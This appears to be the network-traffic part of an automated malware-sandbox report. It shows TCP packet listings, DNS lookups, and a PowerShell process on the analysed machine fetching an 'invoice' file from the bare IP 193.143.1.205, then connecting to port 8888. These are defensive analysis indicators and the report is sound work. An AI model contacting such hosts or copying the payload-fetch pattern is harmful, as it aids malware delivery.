Jan 11, 2025 01:40:29.523417950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523435116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523444891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.523452044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523462057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523473024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523477077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.523483992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523510933 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.523535013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523535013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.523545027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523555994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523566008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523576021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523577929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.523587942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523597002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.523631096 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.523822069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523833036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523849964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523859978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.523860931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523871899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523881912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523894072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523904085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523905039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.523921967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523932934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523937941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.523945093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523956060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523967028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.523973942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.523977995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.524003983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.524018049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.524132013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.524142981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.524169922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.528280020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.551006079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.551023960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.551035881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.551074982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.551084995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.551101923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.551114082 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.551120043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.551131010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.551143885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.551146030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.551155090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.551166058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.551175117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.551198959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.551199913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.551218033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.551229000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.551239967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.551249027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.551284075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.551294088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.551305056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.551336050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.551337004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.551347017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.551379919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.551383972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.551390886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.551402092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.551419020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.551449060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.583430052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.583466053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.583476067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.583487034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.583499908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.583511114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.583522081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.583539009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.583551884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.583563089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.583563089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.583575964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.583586931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.583595037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.583616972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.583636045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.583641052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.583652020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.583663940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.583718061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.583729029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.583775043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.612894058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.612911940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.612931967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.612945080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.612956047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.612967968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.612977982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.612991095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613035917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.613142014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.613145113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613154888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613166094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613177061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613183022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.613207102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613208055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.613218069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613230944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613257885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613266945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.613298893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.613354921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613365889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613377094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613387108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613398075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613404036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.613429070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.613437891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613477945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.613516092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613526106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613545895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613557100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613559008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.613568068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613578081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613588095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.613589048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613617897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.613627911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613637924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613648891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613658905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.613665104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613676071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613687038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613688946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.613734007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.613744974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613754988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613765955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613778114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613780022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.613811016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.613884926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613895893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613907099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613918066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.613919020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613930941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613946915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.613955975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.613990068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.614012957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.614082098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.614768028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.614825964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.614837885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.614856005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.614869118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.614878893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.614880085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.614893913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.614932060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.614939928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.614948988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.614964008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.614969015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.614979982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.614991903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.614998102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.615034103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.615123034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.615159988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.615173101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.615184069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.615194082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.615195036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.615205050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.615216017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.615216017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.615226984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.615236998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.615252018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.615255117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.615267038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.615274906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.615278959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.615302086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.615320921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.615369081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.615380049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.615391016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.615401983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.615411997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.615412951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.615422964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.615434885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.615438938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.615473032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.615503073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.615514040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.615531921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.615536928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.615542889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.615549088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.615555048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.615561962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.615575075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.615591049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.615592003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.615605116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.615614891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.615628004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.615632057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.615637064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.615648985 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.615679026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.627422094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.642805099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.642867088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.642903090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.642936945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.642952919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.642992973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.643004894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.643037081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.643069983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.643074989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.643101931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.643135071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.643143892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.643163919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.643197060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.643210888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.643229961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.643260956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.643265963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.643296003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.643332958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.643352985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.643388033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.643416882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.643429041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.646569014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.675329924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.675348043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.675368071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.675383091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.675400972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.675412893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.675412893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.675425053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.675436020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.675437927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.675446987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.675458908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.675470114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.675481081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.675484896 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.675492048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.675503016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.675503969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.675513029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.675523996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.675524950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.675548077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.706247091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.706274033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.706285954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.706295967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.706307888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.706319094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.706321001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.706330061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.706341028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.706351995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.706353903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.706362963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.706373930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.706383944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.706396103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:29.706418991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.706440926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:29.821388960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:30.238369942 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:30.243307114 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:30.243400097 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:30.244204998 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:30.249033928 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:31.070600986 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 11, 2025 01:40:31.123651028 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 11, 2025 01:40:32.758804083 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:40:38.356044054 CET	60892	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 01:40:38.356044054 CET	192.168.2.4	1.1.1.1	0x343c	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 01:40:38.363887072 CET	1.1.1.1	192.168.2.4	0x343c	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 01:40:39.063416958 CET	1.1.1.1	192.168.2.4	0x8c23	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 01:40:39.063416958 CET	1.1.1.1	192.168.2.4	0x8c23	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	7428	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 01:40:28.146831989 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 01:40:28.945041895 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:40:28 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 